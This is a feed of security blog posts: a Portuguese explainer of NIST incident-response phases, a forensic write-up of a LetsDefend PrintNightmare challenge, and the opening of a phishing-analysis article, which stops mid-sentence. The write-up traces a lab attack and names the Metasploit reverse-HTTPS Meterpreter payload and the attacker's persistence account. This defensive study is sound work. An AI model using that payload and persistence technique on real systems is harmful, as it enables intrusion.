<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lithium Malware on Medium]]></title>
        <description><![CDATA[Stories by Lithium Malware on Medium]]></description>
        <link>https://medium.com/@litio?source=rss-8b2b7a56a7cc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pgEp5-EjRVlqjtK9AkrAjA.png</url>
            <title>Stories by Lithium Malware on Medium</title>
            <link>https://medium.com/@litio?source=rss-8b2b7a56a7cc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 19:47:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@litio/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Como Funciona o NIST — Cybersecurity Framework]]></title>
            <link>https://litio.medium.com/como-funciona-o-nist-cybersecurity-framework-93ad8ccf1f08?source=rss-8b2b7a56a7cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/93ad8ccf1f08</guid>
            <category><![CDATA[framework]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[nist]]></category>
            <dc:creator><![CDATA[Lithium Malware]]></dc:creator>
            <pubDate>Fri, 31 Mar 2023 22:57:43 GMT</pubDate>
            <atom:updated>2023-04-01T03:40:28.011Z</atom:updated>
            <content:encoded><![CDATA[<h3>Como Funciona o NIST — Cybersecurity Framework</h3><h4>Uma análise compreensiva dos métodos utilizados durante o procedimento de resposta a incidentes</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L0ZUZioPg2Xqg7tV" /></figure><h3>Sumário</h3><p>De acordo com as recomendações publicadas pelo NIST, os processos de resposta a incidentes cibernéticos devem ser tratados em 4 etapas. Sendo elas:</p><ul><li><strong>Preparação</strong></li><li><strong>Detecção e Análise</strong></li><li><strong>Contenção, Erradicação e Recuperação</strong></li><li><strong>Atividade pós-incidente</strong></li></ul><p>Através deste artigo pretendo explicar cada etapa e seus procedimentos específicos, conforme indicado pelo NIST.</p><h3>Procedimentos de Preparação</h3><p>A começar pela etapa de <strong><em>preparação — </em></strong>estão os preparativos feitos antes de intervir em um incidente de segurança cibernética.</p><p>Esta fase abrange o trabalho que uma organização realiza para se preparar para a resposta a incidentes, incluindo o estabelecimento das ferramentas e recursos corretos, assim como o treinamento da equipe antes do incidente ocorrer.</p><p>Como a rede de comunicação interna também pode ter sido comprometida no momento do incidente, as comunicações devem ser realizadas por diferentes canais durante a resposta ao incidente. Por esta razão, devem ser preparados com antecedência telefones e linhas separados para serem usados pelos respondentes do incidente durante este procedimento.</p><p>Também é recomendável criar uma <strong>“sala de guerra” </strong>para ser usada durante incidentes de segurança cibernética. (Salas de guerra são as salas internas onde os colaboradores se reúnem para discutir estratégias para resolver os problemas encontrados.).</p><p>Através deste procedimento é de suma importância possuir as informações de toda a infraestrutura crítica, especialmente os servidores (servidores Web, servidores FTP, servidores Exchange, servidores SWIFT, dentre outros de maior importância); Estas informações devem ser mantidas sempre atualizadas.</p><p>As listas de inventário que não são mantidas atualizadas impactarão os processos de resposta a incidentes de forma impactante, podendo causar perda de tempo e decisões erradas durante o processo de resposta a incidentes.</p><p>Por exemplo, se o endereço de IP “10.75.11.10” pertencer a “Web-Server” de acordo com uma lista de inventário desatualizada, mas na verdade pertence a um servidor diferente, isso confundirá as coisas, podendo causar atraso das ações necessárias a serem tomadas para conter o incidente. Manter uma lista de inventário atualizada é uma tarefa trabalhosa e, portanto, pode ser realizada de maneira automatizada.</p><p>A etapa de preparação também inclui os preparativos para a prevenção de incidentes de segurança cibernética antes que eles ocorram. As organizações devem fazer os investimentos necessários nesse sentido e fornecer proteção em várias camadas, implantando diferentes soluções de segurança, tais como:</p><ul><li><strong>Endpoint detection and response (EDR);</strong></li><li><strong>Sistema de detecção de intrusão (IPS/IDS);</strong></li><li><strong>Antivírus, Web application firewall (WAF), firewall, e Softwares de prevenção de perca de dados (DLP).</strong></li></ul><p>Ao mesmo tempo, o nível de conscientização dos funcionários contra ataques de engenharia social deve ser aumentado pela realização de testes de engenharia social regularmente.</p><p><strong>De acordo com o NIST, tais etapas de preparação devem ser seguidas de forma em que:</strong></p><ol><li>Seja primeiro criada uma política e um plano de resposta a incidentes;</li><li>Devem ser desenvolvidos procedimentos para realizar o tratamento e relatórios de incidentes;</li><li>Devem ser definidas diretrizes para comunicação com terceiros (sejam diferentes setores ou diretoria) em relação a incidentes;</li><li>Deve-se estabelecer relacionamentos e linhas de comunicação entre a equipe de resposta a incidentes e outros grupos, tanto internos (por exemplo, departamento jurídico) quanto externos (por exemplo, agências de aplicação da lei);</li><li>Determinar quais serviços a equipe de resposta a incidentes deve fornecer;</li><li>Oferecer treinamentos constantes para a equipe de resposta a incidentes.</li></ol><h3>Detecção &amp; Análise</h3><p>A Detecção e Análise é a etapa em que o incidente de cibersegurança é detectado e investigado com maior profundidade.</p><p>Os eventos de segurança cibernética podem ser transmitidos por meio de diferentes canais. Por exemplo, pode ser por meio de uma regra SIEM acionada, um alerta acionado pelos produtos de segurança instalados, a equipe de TI informando que o sistema está lento ou uma notificação enviada a você por meio do formulário de contato de sua organização.</p><p>No entanto, a detecção deve ser inicialmente verificada e avaliada, deve ser avaliado se de fato trata-se de um incidente, ou um possível falso positivo.</p><p>Por exemplo, você tem uma detecção da sua equipe de TI indicando alguma anormalidade na extensão dos arquivos no servidor. Se você presumir que é causado diretamente por ransomware e os processos de resposta a incidentes e isolar o servidor, poderá causar alguma interrupção desnecessária do serviço.</p><p>Deve-se primeiro verificar a detecção de entrada. Portanto, a primeira coisa que você precisa fazer é verificar se o arquivo realmente possui uma extensão anormal. Lembre-se de que a detecção correta nem sempre prova que se trata de um incidente de cibersegurança.</p><p>Mesmo que a extensão do arquivo seja anormal, alguém com acesso ao servidor pode ter feito isso por engano. O que você precisa fazer é investigar o motivo pelo qual a extensão do arquivo é uma extensão anormal (por exemplo, investigar os Sysmon Logs para poder entender quem modificou o arquivo e qual processo o individuo usou para fazer isso).</p><p>Se você realmente acha que há um incidente de segurança cibernética, deve começar a coletar e registrar as evidências. Para coleta de evidências, podem ser utilizados sistemas de rastreamento de problemas para registrar informações, evidências e ações sobre o evento.</p><p><strong>As informações que devem constar no sistema de rastreamento de problemas recomendado pelo NIST são as seguintes:</strong></p><ol><li>Deve ser documentado o status atual do incidente (novo, em andamento, encaminhado para investigação, resolvido, etc.);</li><li>Deve ser fornecido um resumo do incidente, assim como evidências coletadas, e indicadores de comprometimento (IOCs) relacionados ao incidente;</li><li>Deve ser analisada a possibilidade de outros incidentes relacionados a este incidente;</li><li>Documentação das tratativas realizadas durante o incidente;</li><li>Cadeia de custódia, se aplicável;</li><li>Avaliações de impacto relacionadas ao incidente;</li><li>Informações de contato de outras partes envolvidas (por exemplo, proprietários do sistema, ou administradores do sistema);</li><li>Próximas etapas a serem executadas para mitigação (por exemplo, reconstruir o host, atualizar uma aplicação..).</li></ol><p>Os incidentes devem ser prioritizados através da perspectiva de gravidade, criticidade, área de impacto, danos potenciais, e consequentemente, tratados de acordo com essa priorização. Neste quesito, as categorias publicadas pelo NIST podem ser utilizadas para ajudar no procedimento de prioritização dos eventos de segurança cibernética:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*Prmgqjd0-BKbBzZp-7iHcQ.png" /><figcaption>Tabela 01: Categorias de impacto funcional de acordo com o NIST SP 800–61</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9EZPzroN31IFF_K7CZ1vjg.png" /><figcaption>Tabela 02:Categorias de impacto da informação de acordo com o NIST SP 800–61</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FOyp1ZFB78_psrhMiml6CA.png" /><figcaption>Tabela 03: Categorias de esforço de recuperabilidade de acordo com o NIST SP 800–61</figcaption></figure><p>As organizações também devem estabelecer um processo de escalonamento para as instâncias em que a equipe não responde a um incidente dentro do prazo designado. Isso pode acontecer por vários motivos: por exemplo, os telefones podem falhar ou as pessoas podem ter emergências pessoais.</p><p>O processo de escalonamento deve indicar quanto tempo uma pessoa deve esperar por uma resposta e o que fazer se nenhuma resposta ocorrer. Geralmente, o primeiro passo é duplicar o contato inicial. Depois de esperar por um breve período — talvez 15 minutos — deve-se encaminhar o incidente para um nível superior, como o gerente da equipe de resposta a incidentes. Se essa pessoa não responder dentro de um certo tempo, o incidente deve ser escalonado novamente para um nível superior de gerenciamento até que se tenha uma resposta.</p><p>Após a realização das ações anteriores, cada detalhe deve ser analisado desde o momento da primeira etapa de acesso do invasor até suas atividades mais recentes nos sistemas corporativos.</p><p>Ao responder ao incidente, nossa prioridade deve ser detectar o método de acesso do invasor e interromper esse acesso.</p><p>Vamos pensar em um cenário em que um invasor obtém acesso ao sistema explorando uma vulnerabilidade que ele detectou em uma aplicação Web — Se excluído o payload mal-intencionado dos servidores antes de encontrar o método de acesso inicial do invasor, o invasor pode então explorar a vulnerabilidade novamente. Por esse motivo, antes de tudo, a causa raiz deve ser detectada e corrigida.</p><p>Após a detecção da causa raiz, devemos executar a etapa de Contenção, Erradicação e Recuperação para evitar que o invasor comprometa os sistemas novamente durante os esforços de resposta a incidentes. Após esta etapa, as demais atividades do invasor devem ser analisadas.</p><p>Após comprovação de incidente, e detecção da ameaça, os dispositivos e usuários comprometidos devem ser isolados da rede rapidamente.</p><h3>Contenção, Erradicação &amp; Recuperação</h3><p>A etapa de Contenção, Erradicação e Recuperação inclui o isolamento, bloqueio dos indicadores/métodos de persistência utilizados no ataque e restauração dos sistemas.</p><blockquote>A etapa de <strong>contenção</strong> é onde o atacante é isolado para que não possa causar mais danos. Esta etapa deve ser realizada assim que o evento for detectado e confirmado como um incidente de cibersegurança para que o atacante não cause mais danos aos sistemas vulneráveis.</blockquote><p>Essa etapa pode ser diferente dependendo do tipo e criticidade do incidente de segurança cibernética. Alguns métodos de contenção que podem ser aplicados são:</p><ol><li>Colocar o dispositivo em um segmento de rede isolado;</li><li>Interromper os serviços afetados;</li><li>Desligar o aparelho afetado;</li><li>Desligar o dispositivo da rede;</li><li>Desativar a conta do usuário na rede corporativa.</li></ol><p>Os softwares de EDR atuais vem com recurso de contenção. Com esse recurso, o dispositivo no qual o agente está instalado é separado da rede e se comunica apenas com o servidor central EDR. Desta forma, ao realizar a análise ao vivo no dispositivo, o isolamento do dispositivo também é garantido.</p><p>Como não é possível isolar servidores críticos diretamente da rede, é altamente recomendável preparar um procedimento de contenção separado para aplicativos/servidores críticos.</p><blockquote>A etapa de <strong>erradicação</strong> inclui atividades remoção e bloqueio do software malicioso deixado pelo invasor, desabilitar os usuários comprometidos, excluir possíveis usuários criados pelo invasor.</blockquote><p>O ponto mais importante que não deve ser esquecido nesta etapa é que os indicadores pertencentes ao ataque devem ser registrados como evidência antes de serem excluídos.</p><p>Por exemplo — antes de excluir um software malicioso usado no ataque do servidor, é necessário fazer uma captura de tela da pasta onde o malware está localizado, salvar as informações de hash do malware e gravar uma cópia do malware em um ambiente isolado.</p><p>As atividades a serem realizadas na etapa de erradicação podem ser listadas como:</p><ol><li>Remoção dos arquivos enviados pelo invasor;</li><li>Desativar/excluir usuários comprometidos;</li><li>Excluir usuários criados pelo invasor;</li><li>Encerramento de processos suspeitos em execução.</li></ol><blockquote>A fase de <strong>recuperação</strong> inclui a restauração dos servidores/dispositivos/serviços afetados para seu estado operacional anterior e a confirmação de seu funcionamento adequado.</blockquote><p>A fase de recuperação varia de organização para organização. Certifique-se de que sua organização tenha uma estratégia de recuperação adequada. As estratégias que podem ser aplicadas na fase de recuperação podem ser listadas como:</p><ol><li>Utilização do backup pré ataque;</li><li>Reconstruir os sistemas do zero;</li><li>Substituir softwares comprometidos por versões atualizadas;</li><li>Realizar a instalação de patches de segurança;</li><li>Alteração de senhas cadastradas na rede.</li></ol><h3><strong>Atividade pós-incidente</strong></h3><p>A partir deste ponto o incidente ocorrido deve ser avaliado desde o início e o que pode ser feito para melhor evitar ou prevenir outro incidente de segurança cibernética deve ser discutido. Um incidente de segurança cibernética é inevitável, mas isso não significa que não podemos aprender com incidentes passados e utilizarmos dos mesmos para nos prevenirmos.</p><p>Após um incidente, é recomendado que seja realizada uma reunião sobre o incidente de segurança cibernética com todas as equipes envolvidas.</p><p>O NIST também fornece um roteiro de pontos que devem ser discutidos após a ocorrência de um incidente:</p><ol><li>O que aconteceu exatamente e em que momento?</li><li>Quão bem a equipe e a gerência lidaram com o incidente?</li><li>Os procedimentos documentados foram seguidos? Eles foram adequados?</li><li>Que informação era necessária antes?</li><li>Foram tomadas medidas ou ações que possam ter inibido a recuperação?</li><li>O que a equipe e a gerência fariam de maneira diferente na próxima vez que um incidente semelhante ocorresse?</li><li>Como o compartilhamento de informações com outras organizações poderia ter sido melhorado?</li><li>Que ações corretivas podem evitar incidentes semelhantes no futuro?</li><li>Quais precursores ou indicadores devem ser observados no futuro para detectar incidentes semelhantes?</li><li>Quais ferramentas ou recursos adicionais são necessários para detectar, analisar e mitigar futuros incidentes?</li></ol><p>Um relatório completo de resposta ao incidente deve ser preparado e armazenado em local seguro.</p><p>Este estudo foi conduzido com base no NIST. Mais informações podem ser verificadas sob os seguintes links (em inglês):</p><ul><li><strong><em>Understanding the NIST cybersecurity framework: </em></strong><a href="https://www.ftc.gov/business-guidance/small-businesses/cybersecurity/nist-framework"><em>https://www.ftc.gov/business-guidance/small-businesses/cybersecurity/nist-framework</em></a></li><li><strong><em>NIST — Cybersecurity Incident Handling Guide (LetsDefend): </em></strong><a href="https://app.letsdefend.io/training">https://app.letsdefend.io/training</a></li><li><strong><em>NIST SP 800–61: </em></strong><a href="https://learn.saylor.org/mod/book/view.php?id=29706&amp;chapterid=5347"><em>https://learn.saylor.org/mod/book/view.php?id=29706&amp;chapterid=5347</em></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93ad8ccf1f08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PrintNightmare Analysis - A LetsDefend Challenge]]></title>
            <link>https://litio.medium.com/printnightmare-analysis-a-letsdefend-challenge-ae9c7f86d0a8?source=rss-8b2b7a56a7cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae9c7f86d0a8</guid>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Lithium Malware]]></dc:creator>
            <pubDate>Sun, 12 Feb 2023 19:41:57 GMT</pubDate>
            <atom:updated>2023-02-12T20:00:18.592Z</atom:updated>
            <content:encoded><![CDATA[<h4>PrintNightmare Vulnerability Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*uDVMSOCw2d24RNcm4lSlFw.png" /></figure><h3>Summary</h3><p>Under the scenario of a system that was exploited by PrintNightmare vulnerability, you should investigate the case.</p><p><strong>Log Files (pass: infected): </strong><a href="https://api.letsdefend.io/download/downloadfile/PrintNightmare.zip"><strong>Download</strong></a></p><p>This challenge prepared by <a href="https://www.linkedin.com/in/bohan-zhang-078751137/">@Bohan Zhang</a></p><h4>Tools used During The Investigation</h4><ul><li><strong>Fireeye’s Redline 2.0 -</strong> <a href="https://fireeye.market/apps/211364">https://fireeye.market/apps/211364</a></li><li><strong>Brim v0.31.0 - </strong><a href="https://www.brimdata.io/download/">https://www.brimdata.io/download/</a></li><li><strong>Wireshark 4.0.3 -</strong> <a href="https://www.wireshark.org/">https://www.wireshark.org/</a></li><li><strong>VirusTotal -</strong> <a href="https://www.virustotal.com/gui/">https://www.virustotal.com/gui/</a></li></ul><h3>Writeup</h3><p>We are going to be treating the following files during this analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*H19ia_oVdOA1WPn6QROR9A.png" /><figcaption>Figure 01 - Files to be analysed</figcaption></figure><p>An important first observation is the name <strong>suricata.rules, </strong>these are signatures from <strong>Suricata, </strong>an open-source based intrusion detection system - IDS that can be used to detect known threats in network traffic.</p><p><strong>The previous files are respectively: </strong>a memory dump file from Redline, the cache from that same analysis, a dcoument containing the setup for the installation of Brim, and a PCAP file containing the challenge.</p><h4><strong>Looking through the alerts in Brim, what is the vulnerability name and its corresponding CVE?</strong></h4><p>By opening the file “suricata.rules” in the Brim tool we already have the following detection: <strong>Possible CVE-2021–34527 (PrintNightmare) Exploit — SpoolSS RpcAddPrinterDriver.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*s_64eeZ-YgVlUKJZxffq6A.png" /><figcaption>Figure 02 - Brim’s detection of the suricata.rules</figcaption></figure><h4>What is the PrintNightmare Vulnerability?</h4><p>Before proceeding any further, it’s interessant to profile the principal details about the identified vulnerability <strong>CVE-2021–34527 (PrintNightmare)</strong>:</p><ul><li>It was discovered on June 29th, 2021;</li><li>It’s a critical remote code execution (RCE) vulnerability impacting Windows operating systems;</li><li>The vulnerability allows threat actors who gained initial access to the environment to fully compromise the network and deploy additional malware or ransomware;</li><li>Threat intel indicates the vulnerability is actively exploited in the wild;</li><li>An urgent out-of-band urgent patch was released by Microsoft to remediate the vulnerability. [<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527">x</a>]</li></ul><h4>Who is the Attacker, where is his share path?</h4><p>Since the previous alert was coming from the SMB (Server Message Block) protocol, we can open the pcap file <strong>“challenge-v1”</strong> on Wireshark and filter for “smb” to see if there’s any suspicious communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*OKsZxFIQY-mY7r_v8gTbfg.png" /><figcaption>Figure 03 - SMB traffic in Wireshark</figcaption></figure><p>We can tell there’s communication by two IPs, 10.10.10.2 and 10.10.10.4. Now by following the TCP stream there’s a chain of events happening - There’s a connection request coming from <strong>\\10.10.10.2\share</strong> to share the file ‘<strong>notsostealthy.dll’. </strong>then send requests to get info from the network into the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*W26oei7k2uJwhaXeaI034Q.png" /><figcaption>Figure 04 - Requests coming from the IP address 10.10.10.2</figcaption></figure><p>According to Brim, this could be a possible Lateral movement, where the requested information was being sent to the IP address<strong> 10.10.10.2 — </strong>We can assume this is the attacker, since there’s information being sent to external sources right after it was connected into the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*SBcsBXGebkvRERm3aiwf5g.png" /><figcaption>Figure 05 - Information request from the DLL file notsostealthy.dll to the address \\10.10.10.2\IPC$</figcaption></figure><p>Also using Brim, we can find out the e-mail address being used for the self-signed SSL certificate in the traffic by following the SSL (Secure Sockets Layer) protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*PdxmIz7bGfi0AA4U1FzJAQ.png" /><figcaption>Figure 06 - E-mail address override@shields.mertz.net</figcaption></figure><h4>What is the sha256 hash of the DLL file?</h4><p>In order to find out the hash of the file ‘<strong>notsostealthy.dll’, </strong>we can use Wireshark, and go back to the SMB requests and choose the exaclty moment where the file was created, then export the object as SMB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9MOcluC8tFkxnZ6MlVVA4g.png" /><figcaption>Figure 07 - Download of a SMB object using Wireshark</figcaption></figure><p>We can now extract the file which wass 100% downloaded into the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*9gWeq5ZVatjBgXEvKXLrTQ.png" /><figcaption>Figure 08 - Wireshark Export SMB Object</figcaption></figure><p>Now by updating the obtained file on VirusTotal, we can see its properties.</p><ul><li><strong>pedll.dll -</strong> an executable file on your computer’s hard drive, it originates from software you installed on your system.</li><li>The file was detected using <strong>assembly — </strong>a low-level programming language with a very strong correspondence between the instructions in the language and the architecture’s machine code instructions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*IdoAgRd0dE6jJiQBGQDyLQ.png" /><figcaption>Figure 09 - VirusTotal Analysis of the DLL File</figcaption></figure><p>Possible detections through antivirus’ software:</p><ul><li>Trojan/Win32.RL_Generic.R366185</li><li>Trojan.Meterpreter.Extension.I</li><li>Windows.Trojan.Metasploit</li><li>Win64:HacktoolX-gen [Trj]</li><li>HEUR/AGEN.1245274</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*hqXmGfzIzGVRauqzsn3QyQ.png" /><figcaption>Figure 10 - VirusTotal malware detections through antivirus’</figcaption></figure><p>The Dll File seems to be a malware from the Trojan family, commonly created throught the Meterpreter tool from Metasploit, a penetration testing software.</p><h4>What is the domain user and hostname used by the attacker to exploit the vulnerability?</h4><p>Going back to the analysis of the logs through Brim, we have an html request going thorugh the username “Jesse.Harmon” and domain name “BELLYBEAR” and hostname “WIN-FLO4EU2VMSM”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*S7rM7h7SzeEoP-wbm3vIxA.png" /><figcaption>Figure 11 - Brim log analysis</figcaption></figure><p>Now by searching the “Jesse.Harmon” username, we now have the following information:</p><ul><li>The username is associated with the origin ID of our suspected attacker: <strong>10.10.10.2</strong></li><li><strong>Username:</strong> Jesse.Harmon</li><li><strong>Domain name:</strong> BELLYBEAR</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*3VVVVFcL2nSKnV0UFBNJig.png" /><figcaption>Figure 12 - Username associated with the suspicious IP address</figcaption></figure><h4>What is the username created by the attacker for persistence?</h4><p>In order to figure out more data about the users in the operating sytstem, we can switch to Mandiant Redline tool and analyze the memory file <strong>“AnalysisSession1&quot;.</strong></p><p>By selecting the “Users” data, we can now analyze the registered users in that machine. There’s an obvious hint of an user going by the name “hacker”, but it’s importante to notice that attackers in a real environment might not be as obvious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AjX3KIqISaudYuMO2z6XKg.png" /><figcaption>Figure 13 - Users registered in the memory file, Mandiant Redline</figcaption></figure><p>Now we can summarize the existing users in the following way:</p><pre>&quot;Administrator&quot; - Full path name: BELLYBEAR\Administrator, <br>Date it was created: 2021–08–16 22:22:00,<br>Description: It&#39;s a built-in account from the system for administering <br>the computer/domain.<br>Belonged to the following groups: Group Policy Creator Owners, Domain <br>Admins,Domain Users,Enterprise Admins,Schema Admins, Denied RODC <br>Password Replication Group, Administrators,Users.<br>---------------------------------------------------------------------------<br>&quot;Guest&quot; - Full path name: BELLYBEAR\Guest,<br>Date it was created: Default data,<br>Description: It&#39;s a built-in account from the system for administering <br>the computer/domain.<br>Belonged to the following groups: Domain Guests, Guests.<br>---------------------------------------------------------------------------<br>&quot;krbtgt&quot; - Full path name: BELLYBEAR\krbtgt,<br>Date it was created: 2021–08–16 18:37:27,<br>Description: Default account that exists in all domains of an Active <br>Directory. Its purpose is to act as a KDC (Key Distribution Centre) <br>service account for domain controllers.<br>Belonged to the following groups: Domain Users, Denied RODC Password <br>Replication Group, Users.<br>---------------------------------------------------------------------------<br>&quot;Jesse.Harmon&quot; - Full path name: BELLYBEAR\Jesse.Harmon,<br>Date it was created: 2021–08–16 18:37:27,<br>Description: Domain user used by the hacker to exploit the vulnerability. <br>Belonged to the following groups: Domain Users, Users.<br>---------------------------------------------------------------------------<br>&quot;hacker&quot; - Full path name: BELLYBEAR\hacker,<br>Date it was created: Default data,<br>Description: Unknown domain user, possible created by the attacker for <br>the persistence tactic.(TA0003)<br>Belonged to the following groups: Domain Users, Administrators, Remote <br>Desktop Users, Users.</pre><p>Note that the <strong>“hacker”</strong> account is the only one bettween the two accoutns that aren’t system accounts in the Administrators group.</p><h4>What is the event ID for user creation in Windows, and when was the user being created?</h4><p>To figure out when the suspicious account was created for persistence, we can search out in the event logs for the specific Event ID (EID) generated when an user account is created in Active Directory, <a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"><strong>4720</strong></a>.</p><p>Going down on the research, there’s our suspect, and information about when the account <strong>“hacker”</strong> was created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*6sK3Zrav8eEl3Pgq3L0F3Q.png" /><figcaption>Figure 14 - Event Logs of the user account created</figcaption></figure><h4>What process name is used to establish the shell connection between the attacker’s machine and the Windows server? and what is the listening port on the attacker’s machine?</h4><p>Since we already know the remote IP address of suspiciou access<strong> (10.10.10.2), </strong>using Redline, we can now analyze the port logs related to that specific address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXX742JaeTAlqHDFYKaN8A.png" /><figcaption>Figure 15 - Proccess estabilished by the remote IP Address 10.10.10.2</figcaption></figure><p>There was a stabilished connection in remote port 443, throug the file rundll32.exe. Rundll32.exe is <strong>a Microsoft-signed binary used to load dynamic link libraries (DLLs) in Windows</strong>. It is native to Windows and present in both 32 and 64 bit versions.</p><p>We can conclude the attacker ran a malicious dll masked as an original file from the system in order to exploit PrintNightmare vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*zZ-qlkEygn3CJa4JWupXeg.png" /><figcaption>Figure 16 - Details of the proccess estabilished by the remote IP Address 10.10.10.2</figcaption></figure><h4>The attacker used a famous post-exploitation framework to create the DLL file and establish the shell connection to the Windows server, what is the payload the attacker used?</h4><p>According to the given hint — <em>“This might not look very obvious at first, but the framework is very famous and used widely by pentester for post-exploitation. For the payload, the attacker used a self-signed SSL Certificate...”.</em></p><p>So to get a clue on which Payload could have been used, we can go back to the analysis of the file “%5cnotsostealthy(3).dll” on VirusTotal. Where it was detected the usage of the<strong> Meterpreter tool from Metasploit.</strong></p><p>This information can also be seen in comments of the <a href="https://www.virustotal.com/gui/file/fa1ee835869ea97559359568043aea3a52508b360cfc5195a3d7fbb60cef55a5/community">analysis.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*HmV6if9-Knss9YPwfjUqNw.png" /><figcaption>Figure 17 - Mention of Meterpreter DLL loader under the analysis of the “%5cnotsostealthy(3).dll” file</figcaption></figure><p>Since we already know it’s a possible payload from Meterpreter, in an attack directed at Windows operating system, through the SSL protocol, we can simply research for possible proof of concept.</p><p>After looking at the usage of the Meterpreter tool for reverse shell, it was possible to find the payload “<strong>payload/windows/x64/meterpreter/reverse_https” </strong>which can be used for the same techniques of DLL loader, containing parameters associated with the impersonation of SSL certificates — <strong>HandlerSSLCert</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*BeZXwu1GGJDyua9Fb5oGcw.png" /><figcaption>Figure 18 - Informations about the payload (Source:<a href="https://www.infosecmatter.com/metasploit-module-library/?mm=payload/windows/x64/meterpreter/reverse_https">infosecmatter</a>)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*hRjmgJuqrsgMBldiwkRpSQ.png" /><figcaption>Figure 19 - Advanced options of the payload containing HandlerSSLCert (Source:<a href="https://www.infosecmatter.com/metasploit-module-library/?mm=payload/windows/x64/meterpreter/reverse_https">infosecmatter</a>)</figcaption></figure><h4>The attacker left a text file for the user Administrator, can you find what the filename is?</h4><p>Going back to Redline, and analyzing the file system, we can find the text file left under the following path: <strong>”C:\Users\Administrator\Documents\This-Is-Really-A-Nightmare.txt”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYPOX9WJYBbM0M_kH4nJNQ.png" /><figcaption>Figure 20 - Suspicious text file left by the attacker.</figcaption></figure><p>This should be enough to conclude this challenge, thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae9c7f86d0a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Email Analysis — Tips & Resources]]></title>
            <link>https://litio.medium.com/email-analysis-tips-resources-414ecead5f5d?source=rss-8b2b7a56a7cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/414ecead5f5d</guid>
            <category><![CDATA[phishing-email]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[phishing]]></category>
            <dc:creator><![CDATA[Lithium Malware]]></dc:creator>
            <pubDate>Mon, 02 Jan 2023 00:26:31 GMT</pubDate>
            <atom:updated>2023-01-02T01:35:00.961Z</atom:updated>
            <content:encoded><![CDATA[<h3>E-mail Analysis - Tips &amp; Resources</h3><h4>Tips and resources on how to have a better understanding of phishing attacks using e-mail messages.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*7IRZ4XpJNpPhFArHP0zIbQ.png" /></figure><h3>Summary</h3><p>At the present moment, phishing is still considered one of the most frequent ocurrencies of fraudulent activity on the Internet.</p><p>More often than not, an email message containing a link or an attachment can lead to severe losses for their aimed victims including the data breach of sensitive information and identity theft.</p><p>According to <a href="https://www.ibm.com/security/data-breach">IBM’s 2022 Cost of a Data Breach Report</a>,<em> “In 2022, the most common initial attack vectors were compromised credentials at 19% of breaches and phishing at 16% of breaches.”</em> On average, the costliest initial attack vector was phishing at USD 4.91 million, <strong>followed by business email compromise at USD 4.89 million.</strong></p><p>With that in mind, this article contains important tips and tools to help both cybersecurity analysts and general users on how to detect possible threats associated with phishing e-mails.</p><h3>Spoofing &amp; how to detect a Suspicious E-mail</h3><p>Attackers can send emails on behalf of someone else, as the e-mail messages do not necessarily have an authentication mechanism. This kind of technique is called <strong>spoofing</strong>, and is used to make the user believe that the incoming email is reliable.</p><p>An example of 